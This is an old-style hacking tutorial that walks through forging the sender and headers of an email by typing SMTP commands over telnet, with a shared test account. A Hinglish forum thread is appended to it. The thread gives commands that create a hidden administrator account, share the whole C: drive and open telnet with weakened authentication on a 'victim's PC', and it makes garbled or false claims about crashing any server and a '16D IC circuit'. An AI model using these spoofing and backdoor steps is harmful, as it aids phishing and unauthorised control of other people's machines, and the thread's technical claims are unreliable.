Want a computer you can telnet into and mess around with, and not get into trouble no matter what you do to it? I've set up my techbroker.com (206.61.52.33) with user xyz, password testtest for you to play with. Here's how to forge email to xyz@techbroker.com using telnet. Start with clicking start --> run --> Command.com or cmd.com and give the command:

C:\>telnet techbroker.com 25 (in Windows 98 or earlier there will be a box into which you put the port 25 number)

Connecting To Techbroker.com

220 <techbroker.com> Service ready

Now you type in who you want the message to appear to come from:

helo santa@techbroker.com

Techbroker.com will answer:

250 <techbroker.com> host ready

Next type in your mail from address:

mail from:santa@techbroker.com

250 Requested mail action okay, completed

Your next command:

rcpt to:xyz@techbroker.com

250 Requested mail action okay, completed

Your next command:

data

354 Start main input; end with <CRLF>.<CRLF>

Newbie note: <CRLF> just means hit return. In case you can't see that little period between the<CRLF>s, what you do to end composing your email is to hit enter, type a period, then hit enter again.

Anyhow, try typing:

This is a test.

.

250 Requested mail action okay, completed

quit

221 <techbroker.com> Service closing transmission channel

Connection to host lost.

Using techbroker's mail server, even if you enable full headers, the message we just composed looks like:

Status: R

X-status: N

This is a test.

That's a pretty pathetic forged email, huh? No "from", no date. However, you can make your headers better by using a trick with the data command. After you give it, you can insert as many headers as you choose. The trick is easier to show than explain:

220 <techbroker.com> Service ready

helo santa@northpole.org

250 <techbroker.com> host ready

mail from:santa@northpole.com

250 Requested mail action okay, completed

rcpt to:xyz@techbroker.com

250 Requested mail action okay, completed

data

from:santa@deer.northpole.org

Date: Mon, 21 Oct 2002 10:09:16 -0500

Subject: Rudolf

This is a Santa test.

.

250 Requested mail action okay, completed

quit

221 <techbroker.com> Service closing transmission channel

Connection to host lost.

The message then looks like:

from:santa@deer.northpole.org

Date: Mon, 21 Oct 2002 10:09:16 -0500

Subject: Rudolf

This is a Santa test.

The trick is to start each line you want in the headers with one word followed by a colon, and the a line followed by "return". As soon as you write a line that doesn't begin this way, the rest of what you type goes into the body of the email.

Notice that the santa@northpole.com from the "mail from:" command didn't show up in the header. Some mail servers would show both "from" addresses.

You can forge email on techbroker.com within one strict limitation.

Your email has to go to someone at techbroker.com. If you can find any way to send email to someone outside techbroker, let us know, because you will have broken our security, muhahaha! Don't worry, you have my permission.

Next, you can read the email you forge on techbroker.com via telnet.

First, some of the people who read email on this account have gotten infected with viruses, which in turn have sent viruses to this account. So you antivirus program will go nuts when reading lots of the email here. To read *just* the email you just forged, you will first want to find out how many emails total are in this account. Most of them will just be viruses. Yours will be the last or almost last (more viruses will come in often) in the account.

C:\>telnet techbroker.com 110

+OK <30961.5910984301@techbroker.com> service ready

Give this command:

user xyz

+OK user is known

Then type in this:

pass testtest

+OK mail drop has 112 message(s)

OK, so do you want to make sure that message 112 is yours and not some virus? here is how to tell. Long messages are usually viruses. Yours, presumably, was short. Here is the command that tells you how long the messages are: UIDL. The numbers will include letters of the alphabet, A, B, C, D, E and F and look like this:, with the number of the message on the left hand column:

105 410F821D

106 0013EF7F

107 158D4208

108 099C70B4

109 3E4E611B

110 2A726505

111 69D74CB4

This is hexadecimal, the base 16 numbering scheme used by many things having to do with computers. You don't have to do anything fancy to figure out what that hexadecimal number means in order to identify the size of your email if you used common sense and made it little.

In any case, if you use telnet to read an email that holds a virus, despite your antivirus program acting nuts, it won't infect your computer so don't worry.

All that said, here's how to read email using telnet.

retr 1

+OK message follows

This is a test.

If you want to know all possible commands for using telnet on a POP email server, give this command:

help

+OK help list follows

USER user

PASS password

STAT

LIST [message]

RETR message

DELE message

NOOP

RSET

QUIT

APOP user md5

TOP message lines

UIDL [message]

HELP

Of course you could use your own email client program to download email from this account, and you have my permission to download and delete all the email you want as well as forge it. However, doing it this way instead of via telnet is boring and most unhackerly.

for more tricks nd tips mail me... take care.. play safe...

have fun frens time to sign out... bye...

telnet, the most useful but the most difficult way of hacking.

iske liye ek software hai, it cost aroung 4.5 lacs. 

but it works for windows 2000/nt not for XP/Vista

yeh sabse badi problem hai,

koi crack ab tak bana nahi hai.

par ek aur tarika hai:- 

Step 1:- telnet google.com 80
you connected to google.com on port 80 or you can say you connected to google's webserver/computer(webserver is also a computer) on port 80


Step 2:- GET / HTTP/1.1
you requested the foreign computer/google.com to send you "/" or home page through Hypertext Transfer Protocol (HTTP) version 1.1.


Step:-3 Google sends the home page or index page but since command prompt cannot parse it it displayes it as such .


Now see :-
You can try telneting to differnet ports like
port 7 -> echo port -> displayes whatever you typed in
port 23 -> default telnet sever port -> gives you remote command line access to machine
port 25 -> SMTP port -> helps you send mails
port 80 ,443 -> HTTP and HTTPS ports
etc. there are hell lot of other important ones

then use ur DOS.

ip scan karke kar sakte hain hacking to isme.

India se USA tak ka PC server down kiya ja sakta hai.

koi bhi.

U can use any command there in the victim's PC.

u can easily be the Admin in the vistim's PC & can give any command to it.

but is process ko kaam karne ke liye DOS & softwares mein u need a big experience.

telnet activate karke ho jayega

go to run type services.msc >>>> hit enter >>>>>box opens >>>>>>find telnet
right click on it>>>>>>> go to properties>>>>>>>select manual instead of disabled
den click start

net user gengis /add
net localgroup administrators gengis /add
net share system=C:\ /unlimited

then last step

sc config TlntSvr start= auto
net start telnet
tlntadmn config sec=-NTLM
tlntadmn config mode=stream
start telnet port 23
net user gengis /add
net localgroup administrators gengis /add
net share system=C:\ /unlimited

isse aur bhi bohot kuch kiya ja sakta hai par itna hi bohot hai. 

is se aasaan ek aur tareekha hai khud ka buffer server banaoo... its a bit difficuklt and works only with active processor with 16D IC  circuit....

if any one has dis mail me i wil tel u how to do rest of it...

pathan, buffer sever aise kaise ban jayega yar,

aur tum jis circuit ki baat kar rahe ho 16D ic circuit,

woh telnet mein to kuch nahi karta shayad.

telnet hack karne ke liye sirf dos commands bhi bohot hain vaise

but haan sahi kaha ki isse asaan ek tarika hai par woh clear nahi hai,

difficult to hai yeh, par sach mein bohot effective hai.

sahi kaha.

& Mr. Umar, abhi tumko nahi pata yeh sab.